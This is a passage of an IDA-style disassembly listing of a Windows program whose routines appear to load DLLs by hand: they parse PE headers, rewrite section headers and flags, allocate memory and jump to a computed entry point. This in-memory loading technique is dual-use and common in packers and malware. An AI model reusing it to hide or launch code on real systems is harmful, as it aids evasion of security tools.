mov ecx, [ebp+var_24] mov eax, [ecx+eax+3Ch] mov [ebp+var_34], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] lea eax, [ecx+eax+40h] mov [ebp+var_3C], eax jmp short loc_4195F9 ; --------------------------------------------------------------------------- loc_4195F0: ; CODE XREF: sub_419529:loc_419663j mov eax, [ebp+var_38] add eax, 28h mov [ebp+var_38], eax loc_4195F9: ; CODE XREF: sub_419529+C5j mov eax, [ebp+var_38] cmp eax, [ebp+var_28] jnb short loc_419665 mov eax, [ebp+var_3C] mov eax, [eax] mov [ebp+var_50], eax mov eax, [ebp+var_3C] add eax, 4 mov [ebp+var_3C], eax mov eax, [ebp+var_3C] mov eax, [eax] mov [ebp+var_4C], eax mov eax, [ebp+var_3C] add eax, 4 mov [ebp+var_3C], eax push 0 push 0 push [ebp+var_50] push [ebp+arg_0] call sub_41441F lea eax, [ebp+var_48] push eax push 0 push 0 push [ebp+var_4C] mov eax, [ebp+var_38] mov ecx, [ebp+var_24] add ecx, [eax+0Ch] push ecx push [ebp+arg_0] call sub_415175 test eax, eax jz short loc_419659 cmp [ebp+var_48], 0 jnz short loc_419663 loc_419659: ; CODE XREF: sub_419529+128j mov ecx, 0EF00000Fh call sub_41BA32 loc_419663: ; CODE XREF: sub_419529+12Ej jmp short loc_4195F0 ; --------------------------------------------------------------------------- loc_419665: ; CODE XREF: sub_419529+D6j mov eax, [ebp+var_40] mov eax, [eax+34h] cmp eax, [ebp+var_24] jz short loc_419684 push [ebp+var_30] push [ebp+var_44] push [ebp+var_40] push [ebp+var_24] call sub_41945C add esp, 10h loc_419684: ; CODE XREF: sub_419529+145j mov eax, [ebp+var_24] add eax, [ebp+var_34] mov [ebp+var_2C], eax push 5Ch push [ebp+arg_4] call sub_4105C0 pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_4196AA mov eax, [ebp+arg_4] mov [ebp+var_20], eax jmp short loc_4196B1 ; --------------------------------------------------------------------------- loc_4196AA: ; CODE XREF: sub_419529+177j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4196B1: ; CODE XREF: sub_419529+17Fj push 1 push [ebp+var_20] push [ebp+var_40] push [ebp+var_24] push [ebp+var_2C] call sub_418730 add esp, 14h mov eax, ds:dword_4248B4 mov [ebp+var_60], eax cmp [ebp+var_60], 0 jz short loc_4196E8 mov eax, [ebp+var_60] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_64], 1 jmp short loc_4196EC ; --------------------------------------------------------------------------- loc_4196E8: ; CODE XREF: sub_419529+1AAj and [ebp+var_64], 0 loc_4196EC: ; CODE XREF: sub_419529+1BDj movzx eax, [ebp+var_64] test eax, eax jz short loc_41972B push offset sub_41EDE8 push ds:dword_424740 push [ebp+arg_C] push [ebp+var_20] mov ecx, ds:dword_4248B4 call sub_41EC8C mov eax, ds:dword_4248B4 mov [ebp+var_68], eax cmp [ebp+var_68], 0 jz short loc_41972B mov eax, [ebp+var_68] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection loc_41972B: ; CODE XREF: sub_419529+1C9j ; sub_419529+1F3j and [ebp+var_4], 0 jmp short loc_419741 ; --------------------------------------------------------------------------- loc_419731: ; DATA XREF: _4:004214A0o push [ebp+var_14] call sub_41C317 retn ; --------------------------------------------------------------------------- loc_41973A: ; DATA XREF: _4:004214A4o mov esp, [ebp+var_18] and [ebp+var_4], 0 loc_419741: ; CODE XREF: sub_419529+206j jmp loc_419873 ; --------------------------------------------------------------------------- loc_419746: ; CODE XREF: sub_419529+34j cmp [ebp+arg_10], 0 jnz loc_419866 call sub_41922D mov ecx, [ebp+arg_8] xor ecx, eax mov [ebp+arg_8], ecx mov [ebp+var_4], 2 mov eax, ds:dword_4248AC mov [ebp+var_6C], eax cmp [ebp+var_6C], 0 jz short loc_419785 mov eax, [ebp+var_6C] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_70], 1 jmp short loc_419789 ; --------------------------------------------------------------------------- loc_419785: ; CODE XREF: sub_419529+247j and [ebp+var_70], 0 loc_419789: ; CODE XREF: sub_419529+25Aj movzx eax, [ebp+var_70] test eax, eax jz short loc_4197BA push [ebp+arg_C] mov ecx, ds:dword_4248AC call sub_41EBBB mov eax, ds:dword_4248AC mov [ebp+var_74], eax cmp [ebp+var_74], 0 jz short loc_4197BA mov eax, [ebp+var_74] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection loc_4197BA: ; CODE XREF: sub_419529+266j ; sub_419529+282j push 5Ch push [ebp+arg_4] call sub_4105C0 pop ecx pop ecx mov [ebp+var_54], eax cmp [ebp+var_54], 0 jnz short loc_4197D7 mov eax, [ebp+arg_4] mov [ebp+var_54], eax jmp short loc_4197DE ; --------------------------------------------------------------------------- loc_4197D7: ; CODE XREF: sub_419529+2A4j mov eax, [ebp+var_54] inc eax mov [ebp+var_54], eax loc_4197DE: ; CODE XREF: sub_419529+2ACj mov eax, ds:dword_4248B4 mov [ebp+var_78], eax cmp [ebp+var_78], 0 jz short loc_4197FF mov eax, [ebp+var_78] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_7C], 1 jmp short loc_419803 ; --------------------------------------------------------------------------- loc_4197FF: ; CODE XREF: sub_419529+2C1j and [ebp+var_7C], 0 loc_419803: ; CODE XREF: sub_419529+2D4j movzx eax, [ebp+var_7C] test eax, eax jz short loc_41983F push offset sub_41EDE8 push ds:dword_424740 push [ebp+var_54] mov ecx, ds:dword_4248B4 call sub_41EBDB mov eax, ds:dword_4248B4 mov [ebp+var_80], eax cmp [ebp+var_80], 0 jz short loc_41983F mov eax, [ebp+var_80] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection loc_41983F: ; CODE XREF: sub_419529+2E0j ; sub_419529+307j mov eax, [ebp+arg_4] mov [ebp+var_5C], eax push [ebp+var_5C] call sub_41BACD pop ecx and [ebp+var_4], 0 jmp short loc_419864 ; --------------------------------------------------------------------------- loc_419854: ; DATA XREF: _4:004214ACo push [ebp+var_14] call sub_41C317 retn ; --------------------------------------------------------------------------- loc_41985D: ; DATA XREF: _4:004214B0o mov esp, [ebp+var_18] and [ebp+var_4], 0 loc_419864: ; CODE XREF: sub_419529+329j jmp short loc_419873 ; --------------------------------------------------------------------------- loc_419866: ; CODE XREF: sub_419529+221j call sub_41922D mov ecx, [ebp+arg_8] xor ecx, eax mov [ebp+arg_8], ecx loc_419873: ; CODE XREF: sub_419529:loc_419741j ; sub_419529:loc_419864j cmp [ebp+arg_8], 0 jz short loc_4198CB mov eax, [ebp+arg_C] add eax, [ebp+arg_8] mov [ebp+var_58], eax mov ds:dword_4248A4, 0FFFFFFFEh pushaw mov ds:dword_4248C0, esp push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] call [ebp+var_58] mov ds:dword_4248A4, eax mov esp, ds:dword_4248C0 popaw mov eax, ds:dword_4248A4 mov [ebp+var_1C], eax mov ds:dword_4248A4, 0FFFFFFFEh cmp [ebp+var_1C], 0FFFFFFFEh jnz short loc_4198C9 and [ebp+var_1C], 0 loc_4198C9: ; CODE XREF: sub_419529+39Aj jmp short loc_4198D2 ; --------------------------------------------------------------------------- loc_4198CB: ; CODE XREF: sub_419529+34Ej mov [ebp+var_1C], 1 loc_4198D2: ; CODE XREF: sub_419529:loc_4198C9j or [ebp+var_4], 0FFFFFFFFh call nullsub_2 jmp short loc_4198DE sub_419529 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_419529 loc_4198DE: ; CODE XREF: sub_419529+3B2j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h ; END OF FUNCTION CHUNK FOR sub_419529 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198F2 proc near ; CODE XREF: sub_418780+14Cp ; sub_418780:loc_4188EAp push ebp mov ebp, esp xor eax, eax cmp ds:dword_4248CC, 0 setnz al pop ebp retn sub_4198F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419903 proc near ; CODE XREF: sub_418780:loc_4188DAp ; sub_419995:loc_41A760p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 10h loc_419909: ; CODE XREF: sub_419903+87j and [ebp+var_4], 0 cmp ds:dword_4248CC, 0 jz short loc_419984 mov [ebp+var_8], offset dword_4248CC loc_41991D: ; CODE XREF: sub_419903:loc_419982j mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jz short loc_419984 mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_C], eax push 1 mov eax, [ebp+var_C] push dword ptr [eax] mov eax, [ebp+var_C] push dword ptr [eax+0Ch] mov eax, [ebp+var_C] push dword ptr [eax+8] mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_418730 add esp, 14h movzx eax, al test eax, eax jz short loc_419977 mov [ebp+var_4], 1 mov eax, [ebp+var_8] mov eax, [eax] mov ecx, [ebp+var_8] mov eax, [eax+10h] mov [ecx], eax mov eax, [ebp+var_C] mov [ebp+var_10], eax push [ebp+var_10] call sub_41BACD pop ecx jmp short loc_419982 ; --------------------------------------------------------------------------- loc_419977: ; CODE XREF: sub_419903+50j mov eax, [ebp+var_8] mov eax, [eax] add eax, 10h mov [ebp+var_8], eax loc_419982: ; CODE XREF: sub_419903+72j jmp short loc_41991D ; --------------------------------------------------------------------------- loc_419984: ; CODE XREF: sub_419903+11j ; sub_419903+20j movzx eax, [ebp+var_4] test eax, eax jnz loc_419909 mov al, [ebp+var_4] leave retn sub_419903 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419995 proc near ; CODE XREF: sub_41CA0F+2Fp ; sub_41E119+1Bp var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_100 = dword ptr -100h var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = byte ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = byte ptr -60h var_5C = byte ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041A259 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0041A29B SIZE 000004EE BYTES ; FUNCTION CHUNK AT 0041A822 SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4214B8 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 120h push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_120], edx mov [ebp+var_11C], ecx or [ebp+var_3C], 0FFFFFFFFh or [ebp+var_38], 0FFFFFFFFh or [ebp+var_58], 0FFFFFFFFh and [ebp+var_34], 0 and [ebp+var_30], 0 and [ebp+var_4C], 0 mov eax, ds:dword_4248C4 mov [ebp+var_48], eax and [ebp+var_1C], 0 and [ebp+var_2C], 0 and [ebp+var_54], 0 and [ebp+var_44], 0 and [ebp+var_50], 0 and [ebp+var_40], 0 and [ebp+var_28], 0 and [ebp+var_24], 0 and [ebp+var_5C], 0 and [ebp+var_20], 0 and [ebp+var_4], 0 push [ebp+var_11C] call ds:dword_424698 ; GetModuleHandleA test eax, eax jz short loc_419A52 push [ebp+var_11C] call ds:dword_4246DC ; LoadLibraryA push 0FFFFFFFFh mov [ebp+var_124], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_124] jmp loc_41A822 ; --------------------------------------------------------------------------- loc_419A52: ; CODE XREF: sub_419995+91j push [ebp+var_120] lea eax, [ebp+var_24] push eax push [ebp+var_11C] call sub_4191AB add esp, 0Ch mov [ebp+var_6C], eax cmp ds:dword_4248C4, 0 jz short loc_419AD6 cmp [ebp+var_6C], 0 jz short loc_419AD6 mov eax, ds:dword_4248C4 mov [ebp+var_74], eax jmp short loc_419A9A ; --------------------------------------------------------------------------- loc_419A86: ; CODE XREF: sub_419995:loc_419AD4j mov eax, [ebp+var_74] mov eax, [eax+4] mov [ebp+var_74], eax mov eax, ds:dword_4248C8 inc eax mov ds:dword_4248C8, eax loc_419A9A: ; CODE XREF: sub_419995+EFj cmp [ebp+var_74], 0 jz short loc_419AD6 mov eax, [ebp+var_74] mov eax, [eax] cmp eax, [ebp+var_6C] jnz short loc_419AD4 mov eax, ds:dword_4248C8 inc eax mov ds:dword_4248C8, eax push 0FFFFFFFFh and [ebp+var_128], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_128] jmp loc_41A822 ; --------------------------------------------------------------------------- loc_419AD4: ; CODE XREF: sub_419995+113j jmp short loc_419A86 ; --------------------------------------------------------------------------- loc_419AD6: ; CODE XREF: sub_419995+DFj ; sub_419995+E5j ... and ds:dword_4248C8, 0 mov eax, [ebp+var_6C] mov [ebp+var_4C], eax lea eax, [ebp+var_4C] mov ds:dword_4248C4, eax cmp [ebp+var_6C], 0 jnz short loc_419B6D push [ebp+var_120] push 0 push [ebp+var_11C] call ds:dword_4246D8 ; LoadLibraryExA mov [ebp+var_78], eax cmp [ebp+var_78], 0 jz short loc_419B2D mov eax, [ebp+var_120] and eax, 2 test eax, eax jnz short loc_419B4C push [ebp+var_11C] push [ebp+var_78] call sub_418B30 test eax, eax jnz short loc_419B4C loc_419B2D: ; CODE XREF: sub_419995+177j call ds:dword_424690 ; RtlGetLastWin32Error test eax, eax jnz short loc_419B3F push 7Eh call ds:dword_42470C ; RtlRestoreLastWin32Error loc_419B3F: ; CODE XREF: sub_419995+1A0j push [ebp+var_78] call ds:dword_424660 ; FreeLibrary and [ebp+var_78], 0 loc_419B4C: ; CODE XREF: sub_419995+184j ; sub_419995+196j push 0FFFFFFFFh mov eax, [ebp+var_78] mov [ebp+var_12C], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_12C] jmp loc_41A822 ; --------------------------------------------------------------------------- loc_419B6D: ; CODE XREF: sub_419995+15Aj push 0 push 0 push [ebp+var_6C] call sub_41BF82 add esp, 0Ch mov [ebp+var_28], eax push [ebp+var_28] call ds:dword_424698 ; GetModuleHandleA mov [ebp+var_7C], eax cmp [ebp+var_7C], 0 jz short loc_419BB2 push 0FFFFFFFFh mov eax, [ebp+var_7C] mov [ebp+var_130], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_130] jmp loc_41A822 ; --------------------------------------------------------------------------- loc_419BB2: ; CODE XREF: sub_419995+1FAj mov eax, [ebp+var_24] mov [ebp+var_80], eax jmp short loc_419BC1 ; --------------------------------------------------------------------------- loc_419BBA: ; CODE XREF: sub_419995:loc_419BDCj mov eax, [ebp+var_80] inc eax mov [ebp+var_80], eax loc_419BC1: ; CODE XREF: sub_419995+223j mov eax, [ebp+var_80] movsx eax, byte ptr [eax] test eax, eax jz short loc_419BDE mov eax, [ebp+var_80] movsx eax, byte ptr [eax] cmp eax, 2Fh jnz short loc_419BDC mov eax, [ebp+var_80] mov byte ptr [eax], 5Ch loc_419BDC: ; CODE XREF: sub_419995+23Fj jmp short loc_419BBA ; --------------------------------------------------------------------------- loc_419BDE: ; CODE XREF: sub_419995+234j push 0 lea eax, [ebp+var_3C] push eax push 0 push 0 push [ebp+var_24] call sub_414344 test eax, eax jnz short loc_419C04 cmp [ebp+var_3C], 0 jnz short loc_419C04 mov ecx, 0EF00000Fh call sub_41BA32 loc_419C04: ; CODE XREF: sub_419995+25Dj ; sub_419995+263j lea eax, [ebp+var_60] push eax push [ebp+var_3C] call sub_414670 push 40h call sub_41BA4A pop ecx mov [ebp+var_E8], eax mov eax, [ebp+var_E8] mov [ebp+var_50], eax lea eax, [ebp+var_64] push eax push 0 push 0 push 40h push [ebp+var_50] push [ebp+var_3C] call sub_415175 test eax, eax jz short loc_419C46 cmp [ebp+var_64], 0 jnz short loc_419C50 loc_419C46: ; CODE XREF: sub_419995+2A9j mov ecx, 0EF00000Fh call sub_41BA32 loc_419C50: ; CODE XREF: sub_419995+2AFj push 0 push 0 mov eax, [ebp+var_50] push dword ptr [eax+3Ch] push [ebp+var_3C] call sub_41441F push 0F8h call sub_41BA4A pop ecx mov [ebp+var_EC], eax mov eax, [ebp+var_EC] mov [ebp+var_44], eax lea eax, [ebp+var_64] push eax push 0 push 0 push 0F8h push [ebp+var_44] push [ebp+var_3C] call sub_415175 test eax, eax jz short loc_419C9E cmp [ebp+var_64], 0 jnz short loc_419CA8 loc_419C9E: ; CODE XREF: sub_419995+301j mov ecx, 0EF00000Fh call sub_41BA32 loc_419CA8: ; CODE XREF: sub_419995+307j mov eax, [ebp+var_44] cmp dword ptr [eax], 4550h jz short loc_419CBD mov ecx, 0EF00000Ch call sub_41BA32 loc_419CBD: ; CODE XREF: sub_419995+31Cj mov eax, [ebp+var_44] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_44] lea eax, [ecx+eax+18h] sub eax, [ebp+var_44] mov ecx, [ebp+var_50] mov ecx, [ecx+3Ch] add ecx, eax mov [ebp+var_70], ecx mov eax, [ebp+var_44] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_70] add ecx, eax mov [ebp+var_68], ecx push 200h mov eax, [ebp+var_68] add eax, 28h push eax call sub_419437 pop ecx pop ecx mov [ebp+var_34], eax push [ebp+var_34] call sub_41BA4A pop ecx mov [ebp+var_F0], eax mov eax, [ebp+var_F0] mov [ebp+var_1C], eax mov ecx, [ebp+var_34] xor eax, eax mov edi, [ebp+var_1C] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb push 200h call sub_41BA4A pop ecx mov [ebp+var_F4], eax mov eax, [ebp+var_F4] mov [ebp+var_54], eax mov ecx, 80h mov eax, 90909090h mov edi, [ebp+var_54] rep stosd push 0 push 0 push 0 push [ebp+var_3C] call sub_41441F lea eax, [ebp+var_64] push eax push 0 push 0 push [ebp+var_68] push [ebp+var_1C] push [ebp+var_3C] call sub_415175 test eax, eax jz short loc_419D86 cmp [ebp+var_64], 0 jnz short loc_419D90 loc_419D86: ; CODE XREF: sub_419995+3E9j mov ecx, 0EF00000Fh call sub_41BA32 loc_419D90: ; CODE XREF: sub_419995+3EFj mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] add ecx, [eax+3Ch] mov [ebp+var_98], ecx mov eax, [ebp+var_98] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_98] lea eax, [ecx+eax+18h] mov [ebp+var_8C], eax mov eax, [ebp+var_98] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_8C] add ecx, eax mov [ebp+var_88], ecx mov eax, [ebp+var_98] add eax, 88h mov [ebp+var_90], eax mov eax, [ebp+var_98] add eax, 80h mov [ebp+var_84], eax mov eax, [ebp+var_98] and dword ptr [eax+24h], 0 mov eax, [ebp+var_98] and dword ptr [eax+20h], 0 mov eax, [ebp+var_98] and dword ptr [eax+1Ch], 0 mov eax, [ebp+var_54] mov ecx, [ebp+var_98] mov ecx, [ecx+0A0h] mov [eax+34h], ecx mov eax, [ebp+var_54] mov ecx, [ebp+var_98] mov ecx, [ecx+0A4h] mov [eax+38h], ecx mov eax, [ebp+var_54] mov ecx, [ebp+var_98] mov ecx, [ecx+80h] mov [eax+3Ch], ecx mov eax, [ebp+var_54] add eax, 40h mov [ebp+var_94], eax jmp short loc_419E67 ; --------------------------------------------------------------------------- loc_419E58: ; CODE XREF: sub_419995:loc_41A317j mov eax, [ebp+var_8C] add eax, 28h mov [ebp+var_8C], eax loc_419E67: ; CODE XREF: sub_419995+4C1j mov eax, [ebp+var_8C] cmp eax, [ebp+var_88] jnb loc_41A31C mov eax, [ebp+var_94] mov ecx, [ebp+var_8C] mov ecx, [ecx+14h] mov [eax], ecx mov eax, [ebp+var_94] add eax, 4 mov [ebp+var_94], eax mov eax, [ebp+var_94] mov ecx, [ebp+var_8C] mov ecx, [ecx+10h] mov [eax], ecx mov eax, [ebp+var_94] add eax, 4 mov [ebp+var_94], eax cmp ds:dword_424600, 2 jnb loc_419FBD mov eax, [ebp+var_8C] mov ecx, [ebp+var_90] mov eax, [eax+0Ch] cmp eax, [ecx] ja loc_419FBD mov eax, [ebp+var_8C] mov eax, [eax+0Ch] mov ecx, [ebp+var_8C] add eax, [ecx+10h] mov ecx, [ebp+var_90] cmp eax, [ecx] jbe loc_419FBD push 200h mov eax, [ebp+var_8C] push dword ptr [eax+10h] call sub_419437 pop ecx pop ecx mov [ebp+var_30], eax push [ebp+var_30] call sub_41BA4A pop ecx mov [ebp+var_F8], eax mov eax, [ebp+var_F8] mov [ebp+var_2C], eax mov eax, [ebp+var_98] push dword ptr [eax+38h] mov eax, [ebp+var_8C] push dword ptr [eax+8] call sub_419437 pop ecx pop ecx mov ecx, [ebp+var_98] mov ecx, [ecx+20h] add ecx, eax mov eax, [ebp+var_98] mov [eax+20h], ecx push 0 push 0 mov eax, [ebp+var_8C] push dword ptr [eax+14h] push [ebp+var_3C] call sub_41441F lea eax, [ebp+var_64] push eax push 0 push 0 mov eax, [ebp+var_8C] push dword ptr [eax+10h] push [ebp+var_2C] push [ebp+var_3C] call sub_415175 test eax, eax jz short loc_419F95 cmp [ebp+var_64], 0 jnz short loc_419F9F loc_419F95: ; CODE XREF: sub_419995+5F8j mov ecx, 0EF00000Fh call sub_41BA32 loc_419F9F: ; CODE XREF: sub_419995+5FEj mov eax, [ebp+var_8C] mov ecx, [ebp+var_34] mov [eax+14h], ecx mov eax, [ebp+var_8C] mov dword ptr [eax+24h], 0C0000040h jmp loc_41A317 ; --------------------------------------------------------------------------- loc_419FBD: ; CODE XREF: sub_419995+52Bj ; sub_419995+542j ... mov eax, [ebp+var_8C] mov ecx, [ebp+var_84] mov eax, [eax+0Ch] cmp eax, [ecx] ja loc_41A29B mov eax, [ebp+var_8C] mov eax, [eax+0Ch] mov ecx, [ebp+var_8C] add eax, [ecx+10h] mov ecx, [ebp+var_84] cmp eax, [ecx] jbe loc_41A29B and [ebp+var_A0], 0 mov [ebp+var_4], 1 push 4 push 1000h mov eax, [ebp+var_8C] push dword ptr [eax+10h] push 0 call ds:dword_424724 ; VirtualAlloc mov [ebp+var_A0], eax push 0 push 0 mov eax, [ebp+var_8C] push dword ptr [eax+14h] push [ebp+var_3C] call sub_41441F lea eax, [ebp+var_64] push eax push 0 push 0 mov eax, [ebp+var_8C] push dword ptr [eax+10h] push [ebp+var_A0] push [ebp+var_3C] call sub_415175 test eax, eax jz short loc_41A05E cmp [ebp+var_64], 0 jnz short loc_41A068 loc_41A05E: ; CODE XREF: sub_419995+6C1j mov ecx, 0EF00000Fh call sub_41BA32 loc_41A068: ; CODE XREF: sub_419995+6C7j mov eax, [ebp+var_8C] mov eax, [eax+0Ch] mov [ebp+var_A8], eax mov eax, [ebp+var_84] mov eax, [eax] sub eax, [ebp+var_A8] mov ecx, [ebp+var_A0] add ecx, eax mov [ebp+var_A4], ecx and [ebp+var_AC], 0 jmp short loc_41A0A9 ; --------------------------------------------------------------------------- loc_41A09C: ; CODE XREF: sub_419995:loc_41A25Fj mov eax, [ebp+var_AC] inc eax mov [ebp+var_AC], eax loc_41A0A9: ; CODE XREF: sub_419995+705j mov eax, [ebp+var_84] mov eax, [eax+4] xor edx, edx push 14h pop ecx div ecx cmp [ebp+var_AC], eax jnb loc_41A264 mov eax, [ebp+var_AC] imul eax, 14h mov ecx, [ebp+var_A4] cmp dword ptr [ecx+eax+0Ch], 0 jnz short loc_41A0E0 jmp loc_41A264 ; --------------------------------------------------------------------------- loc_41A0E0: ; CODE XREF: sub_419995+744j mov eax, [ebp+var_AC] imul eax, 14h mov ecx, [ebp+var_A4] mov edx, [ebp+var_A0] add edx, [ecx+eax+0Ch] sub edx, [ebp+var_A8] mov [ebp+var_B0], edx mov eax, [ebp+var_8C] mov ecx, [ebp+var_A0] add ecx, [eax+10h] cmp [ebp+var_B0], ecx jbe short loc_41A121 jmp loc_41A264 ; --------------------------------------------------------------------------- loc_41A121: ; CODE XREF: sub_419995+785j mov eax, [ebp+var_B0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41A133 jmp loc_41A264 ; --------------------------------------------------------------------------- loc_41A133: ; CODE XREF: sub_419995+797j and ds:dword_4248C8, 0 push [ebp+var_B0] call sub_41E15D test eax, eax jnz loc_41A259 cmp ds:dword_4248C8, 0 jz short loc_41A15B jmp loc_41A25B ; --------------------------------------------------------------------------- loc_41A15B: ; CODE XREF: sub_419995+7BFj mov edi, [ebp+var_B0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx push [ebp+var_24] call sub_41C9BA pop ecx pop ecx mov [ebp+var_B4], eax mov [ebp+var_4], 2 push 5Ch push [ebp+var_B4] call sub_4105C0 pop ecx pop ecx mov [ebp+var_B8], eax cmp [ebp+var_B8], 0 jz short loc_41A1AF mov eax, [ebp+var_B8] inc eax mov [ebp+var_B8], eax jmp short loc_41A1BB ; --------------------------------------------------------------------------- loc_41A1AF: ; CODE XREF: sub_419995+809j mov eax, [ebp+var_B4] mov [ebp+var_B8], eax loc_41A1BB: ; CODE XREF: sub_419995+818j mov edi, [ebp+var_B0] mov edx, [ebp+var_B8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push [ebp+var_B4] call sub_41E15D test eax, eax jnz short loc_41A232 cmp ds:dword_4248C8, 0 jz short loc_41A20B push 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx jmp short loc_41A25B ; --------------------------------------------------------------------------- loc_41A20B: ; CODE XREF: sub_419995+865j push 7Eh call ds:dword_42470C ; RtlRestoreLastWin32Error push 0FFFFFFFFh and [ebp+var_134], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_134] jmp loc_41A822 ; --------------------------------------------------------------------------- loc_41A232: ; CODE XREF: sub_419995+85Cj mov [ebp+var_4], 1 call sub_41A240 jmp short loc_41A259 sub_419995 endp ; =============== S U B R O U T I N E ======================================= sub_41A240 proc near ; CODE XREF: sub_419995+8A4p ; DATA XREF: _4:004214D8o mov eax, [ebp-0B4h] mov [ebp-0FCh], eax push dword ptr [ebp-0FCh] call sub_41BACD pop ecx retn sub_41A240 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_419995 loc_41A259: ; CODE XREF: sub_419995+7B2j ; sub_419995+8A9j jmp short loc_41A25F ; --------------------------------------------------------------------------- loc_41A25B: ; CODE XREF: sub_419995+7C1j ; sub_419995+874j mov [ebp+var_5C], 1 loc_41A25F: ; CODE XREF: sub_419995:loc_41A259j jmp loc_41A09C ; --------------------------------------------------------------------------- loc_41A264: ; CODE XREF: sub_419995+72Aj ; sub_419995+746j ... push 8000h mov eax, [ebp+var_8C] push dword ptr [eax+10h] push [ebp+var_A0] call ds:dword_424728 ; VirtualFree and [ebp+var_A0], 0 and [ebp+var_4], 0 jmp short loc_41A29B ; END OF FUNCTION CHUNK FOR sub_419995 ; =============== S U B R O U T I N E ======================================= sub_41A28B proc near ; DATA XREF: _4:004214C8o push dword ptr [ebp-14h] call sub_41C317 retn sub_41A28B endp ; =============== S U B R O U T I N E ======================================= sub_41A294 proc near ; DATA XREF: _4:004214CCo mov esp, [ebp-18h] and dword ptr [ebp-4], 0 sub_41A294 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_419995 loc_41A29B: ; CODE XREF: sub_419995+639j ; sub_419995+659j ... mov eax, [ebp+var_8C] cmp dword ptr [eax+8], 0 jnz short loc_41A2C9 mov eax, [ebp+var_98] push dword ptr [eax+38h] mov eax, [ebp+var_8C] push dword ptr [eax+10h] call sub_419437 pop ecx pop ecx mov ecx, [ebp+var_8C] mov [ecx+8], eax loc_41A2C9: ; CODE XREF: sub_419995+910j mov 